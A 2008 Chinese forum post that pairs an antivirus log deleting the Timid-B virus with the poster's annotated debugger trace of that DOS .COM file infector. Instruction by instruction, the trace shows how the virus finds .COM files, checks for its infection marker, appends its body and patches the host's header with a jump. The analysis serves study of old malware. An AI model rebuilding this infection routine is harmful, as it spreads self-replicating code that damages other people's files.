Begin scan in 'C:\Documents and Settings\Administrator\桌面\timid.zip'
C:\Documents and Settings\Administrator\桌面\timid.zip
[0] Archive type: ZIP
--> TIMID.COM
[DETECTION] Contains code of the Timid-B virus
[INFO] The file was deleted!
End of the scan: 2008年4月12日 17:41
Used time: 00:01 min
现在搞定了,我把自己分析的贴出来吧
命令 指令 涉及内存值 注释
P JMP 010C 跳转到偏移地址为010C的地方执行
T CALL 010F 调用子程序
P SUB WORD PTR [FFFC],0009 DS:FFFC=010F 将DS:FFFC内容改为0106
P MOV DX,FF2A 设置DTA的偏移地址
P MOV AH,1A 设置DTA(磁盘传输区)地址,DS:DX=传输区首址,DTA=DS:FF2A
P INT 21
T CALL 015D 调用程序模块
P MOV DX,[FFFC] DS:FFFC=0106 定位病毒体的位置
MOV CX,003F 设置隐藏和系统属性
P MOV AH,4E 第一个匹配的文件,DS:DX=字符串地址,存放着匹配字符*.com,(CX=属性)(出口参数DTA中)
P INT 21
P OR AL,AL 检查调用是否成功
P JNZ 0177 没有则以z=0退出
T CALL 0178 调用子程序,打开timid.com病毒程序
P MOV DX,FF48 将字符串“TIMID.COM”存入DS:FF48
P MOV AX,3D02 DS:DX=字符串地址(以0为字符串的结束标志),AL=02则以读/ 写方式打开文件timid.com,AX=文件号(句柄号)CF=0(NC)表示打开成功,否则,AX=错误号(02H、03H、04H、05H或0CH)
P INT 21
P JB 01AB JB的测试条件CF=1,即检测文件是否打开成功,打开文件失败则跳转到CS:01AB处执行
P MOV BX,AX BX=0005
P PUSH BX 将BX压入堆栈
P MOV CX,0005
P MOV DX,FF57 设置缓冲区偏移地址
P MOV AH,3F 读文件或设备,BX=文件号(句柄),CX=0005代表读出字节数,DS:DX=缓冲区首址(内容为:mov a),AX=实际读出的字节数
P INT 21
P POP BX
P MOV AH,3E 关闭文件,BX=文件号(句柄)
P INT 21
P MOV AX,[FF44] DS:FF44=0137 将TIMID.COM的文件大小137H字节存入AX
P ADD AX,0205 加上病毒码的长度,存入AX中
P JB 01AB
P CMP BYTE PTR [FF57],E9 DS:FF57=E9
P JNZ 01B0 标志位为0时继续执行下面的比较,否则跳转
P CMP WORD PTR [FF5A],4956 DS:FF5A=4956
P JNZ 01B0 标志位为0时继续执行下面的比较,否则跳转
P MOV AL,01 不感染,清Z
P OR AL,AL 清Z
P RET 将IP从堆栈弹出,跳转到016F执行
P JZ 0177 没有可感染的文件则跳转,此时CS:IP=RET
P MOV AH,4F 查找下一个文件,入口和出口参数在DTA中
P INT 21
P JMP 0168
P OR AL,AL
P JNZ 0177
T CALL 0178
P MOV DX,FF48 将字符串“TEST1.COM”存入DS:FF48
P MOV AX,3D02 DS:DX=字符串地址,AL=02则以读/写方式打开文件test1.com,AX=文件号(句柄号)
P INT 21
P JB 01AB
P MOV BX,AX
P PUSH BX
P MOV CX,0005 设置读取字节数
P MOV DX,FF57 设置缓冲区偏移地址
P MOV AH,3F 读文件或设备,BX=文件号(句柄),CX=0005代表读出字节数,DS:DX=缓冲区首址(读出mov a),AX=实际读出的字节数
P INT 21
P POP BX
P MOV AH,3E 关闭文件,BX=文件号(句柄)
P INT 21
P MOV AX,[FF44] DS:FF44=0015 test1.com的大小保存于AX中
P ADD AX,0205 加上病毒码的长度,存入AX中
P JB 01AB
P CMP BYTE PTR [FF57],E9 DS:FF57=6D 用test1.com的首字节6D和病毒感染标志E9比较
P JNZ 01B0 文件test1.com没有被感染,程序跳转到DS:01B0处执行
P XOR AL,AL
P RET 将IP从堆栈弹出,跳转到016F执行
P JZ 0177
P RET 将IP从堆栈弹出,跳转到011F执行
P JNZ 0131 不跳转继续向下执行
T CALL 01B3
P MOV DX,FF48 存放文件名test1.com
P MOV AX,3D02 DS:DX=字符串地址,读/写方式打开文件test1.com,AX=文件号 (句柄号)
P INT 21
P MOV [FF55],AX DS:FF55=0000
P XOR CX,CX
P MOV DX,CX 设置DX=CX=0
P MOV BX,[FF55] DS:FF55=0005 保存文件句柄
P MOV AX,4202 改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=2表示绝对移动,DX:AX=新指针的位置
P INT 21
P MOV CX,0131 设置写入被感染文件字节的大小为305个字节
P MOV DX,[FFFC] DS:FFFC=0106 指定要写入的数据的地址
P MOV BX,[FF55] DS:FF55=0005 设置文件句柄
P MOV AH,40 写文件或设备,BX=文件号(句柄),CX=写入字节数,DS:DX=缓冲区首址
P INT 21 执行完该指令后,文件末尾被写入305个字节
P XOR CX,CX
P MOV DX,[FF44] DS:FF44=0015 保存原始文件大小
P ADD DX,0052 (设置test1.com文件头5个字节在病毒添加的305个字节中的位置) 原始文件偏移量与长度相加,即:将文件的头5个字节移动到距离源test1.com文件末尾52H(82)后5个字节的地方
P MOV BX,[FF55] DS:FF55=0005
P MOV AX,4200 改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=0表示绝对移动,DX:AX=新指针的位置
P INT 21
P MOV CX,0005 设置写入字节数
P MOV BX,[FF55] DS:FF55=0005
P MOV DX,FF57
P MOV AH,40 写文件或设备,BX=文件号(句柄),CX=0005(写入字节数), DS:DX=缓冲区首址
P INT 21
P XOR CX,CX
P MOV DX,CX
P MOV BX,[FF55] DS:FF55=0005
P MOV AX,4200 改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=0表示绝对移动,DX:AX=新指针的位置
P INT 21 执行完该指令后,文件头部5个字节将被改变
P MOV BX,[FFFC] DS:FFFC=0106
P MOV BYTE PTR [FF57],E9 DS:FF57=6D 设置test1.com文件的第一个字节
P MOV AX,[FF44] DS:FF44=0015 保存test1.com文件原始长度
P ADD AX,0003 AX为test1.com文件的长度+0003
P MOV [FF58],AX DS:FF58=766F 将test1.com的第二、三个字节改为文件长度+0003
P MOV WORD PTR [FF5A],4956 DS:FF5A=6120 将test1.com的第四、五个字节改为56H和49H
P MOV CX,0005 设置写入test1.com的字节数
P MOV DX,FF57
P MOV BX,[FF55] DS:FF55=0005
P MOV AH,40 写文件或设备,BX=文件号(句柄),CX=0005(写入字节数), DS:DX=缓冲区首址
P INT 21
P MOV BX,[FF55] DS:FF55=0005
P MOV AH,3E 关闭文件,BX=文件号(句柄)
P INT 21 文件头被移动并被标记
P RET
P MOV DX,FF48
P MOV WORD PTR [FF55],0024 DS:FF55=0005
P MOV AH,09 显示字符串,DS:DX=缓冲区首址
P INT 21
P MOV DX,0080
P MOV AH,1A 设置DTA(磁盘传输区)地址,DS:DX=传输区首址
P INT 21 对DTA的内容进行恢复
P MOV BX,[FFFC] DS:FFFC=0106
将宿主文件的前五个字节写入ds:[100]-ds[104]
P MOV AX,[BX+0052] DS:0158=4CB4
P MOV [0100],AX DS:0100=09E9
P MOV AX,[BX+0054] DS:015A=00B0
P MOV [0102],AX DS:0102=5600
P MOV AL,[BX+0056] DS:015C=CD
P MOV [0104],AL DS:0104=49
P MOV WORD PTR [FFFC],0100 DS:FFFC=0106
P RET
P MOV AH,4C 终止当前程序并返回调用程序
P MOV AL,00 AL=退出码
P INT 21
帖子4 精华0 积分4 阅读权限40 在线时间1 小时 注册时间2008-4-6 最后登录2008-7-15 查看详细资料引用报告回复 TOP